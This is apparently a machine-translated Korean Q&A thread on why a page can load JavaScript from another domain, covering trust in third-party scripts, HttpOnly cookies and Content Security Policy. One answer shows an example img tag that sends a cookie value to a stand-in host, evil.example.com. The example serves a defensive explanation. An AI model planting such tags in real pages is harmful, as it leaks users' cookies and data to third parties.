2010-01-15 2 views
5

y.com (예 : Google Analytics 또는 jquery)에서 x.com의 javascript 파일에 연결할 때 교차 도메인 보안 문제가 발생하지 않는 이유는 무엇입니까? 예를 들어다른 도메인의 js 파일에 연결할 수있는 이유는 무엇입니까?

: y.com/index.html에서

우리는이 :

<script type="text/javascript" src="http://x.com/jsfile.js" /> 

이 할 확인 때와 그렇지 않을 때 우리는 어떻게 알 수 있습니까?

답변

6

JavaScript 파일을 호스팅하는 사이트를 신뢰해야하므로 잠재적 인 보안상의 위험이 있습니다.

예를 들어,이 코드는 중요한 데이터를 타사에 전달할 수있는 스크립트 태그와 img 태그를 사이트에 추가 할 수 있습니다.

동일한 출처 정책에 대한 David의 의견은 오도 할 수 있습니다. 등이 다음 사이트로 원격 호스트의 자바 스크립트 코드 동적으로 img 태그를 삽입하도록 변경 한 경우

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info /> 

: 원격 사이트에 데이터를 중계하는 고전적인 방법은 원격 도메인에 img 태그를 삽입하는 것입니다 보안 구멍이있을 수 있습니다. 자바 스크립트를 통해 액세스 할 수없는 HTTP 전용 쿠키를 사용하는 것과 같은 몇 가지 문제에 대한 완화 방법이 있습니다.

분석 시스템의 예는 훌륭한 것입니다. 공급자는 자신의 쿠키와 같은 중요한 데이터를 가져 와서 원격지로 보내지 않을 것이라고 믿어야합니다. 시스템이 안전하고 해커가 해당 서버의 JavaScript 파일을 변경할 수 없다는 점을 신뢰해야합니다. 애널리틱스 시스템은 일반적으로이 같은 기술을 사용하여 작동하지만 잘하면 악용이 아닌 좋게 사용합니다. 어떤면에서는 개발자가 보안 성이 뛰어난 코드를 작성하고 있는지 여부와 비밀 백도어를 도입하는지 여부에 대해 걱정할 필요가 없습니다.

이 허용되는 이유는 단지 역사적인 것입니다. 웹은 보안을 염두에두고 설계되지 않았습니다. CSRF 공격 이건 리플레이 공격 이건, XSS 공격 이건간에 이것은 웹 디자인의 근본적인 결함으로 현재 웹 개발자의 관심사가되고 있습니다.

+0

단지 쿠키가 바로 자바 스크립트의 헤더를 분석하여 추출 할 수 HTTP 것은 사실이다? – alex

+0

@alex - 잘 모르겠습니다. 자바 스크립트는 이벤트 핸들러를 입력 태그에 첨부하여 암호를 훔쳐서 텍스트를 원격 서버로 전송하는 것과 같은 훨씬 더 악의적 인 작업을 수행 할 수도 있습니다. – Eilon

3

데이터의 출처가 부적절한 곳은 중요하게 사용되는 범위입니다.

다른 도메인에서 스크립트를 가져 오는 중일뿐입니다. 스크립트는로드 된 도메인의 리소스에 대한 액세스 권한이 없으므로 자체 페이지의 범위에서 실행됩니다.

다른 도메인의 페이지가 포함 된 iframe과 같은 도메인 간 문제가있는 상황에서는 서로 다른 두 가지 범위가 있습니다. iframe의 페이지는로드 된 도메인의 범위에서 실행되므로 해당 도메인의 리소스에 액세스 할 수 있지만 다른 범위 인 iframe을 호스팅하는 페이지의 아무 것도 액세스 할 수 없습니다.

(참고 : 용어 "범위는"일반적으로 이러한 맥락에서 사용하는 경우 나도 몰라, 더 나은 그것을 설명하는 용어가있을 수 있습니다.) 우리가 할 수있는 이유를 모르겠어요

0

을 . 그러나 명시 적으로 허용하는 도메인을 제외하고는 JavaScript를로드해서는 안됨을 선언하는 웹 응용 프로그램에서 보낸 HTTP 헤더 인 CSP (Content Security Policy)를 사용하면이 문제를 방지 할 수 있습니다.

관련 문제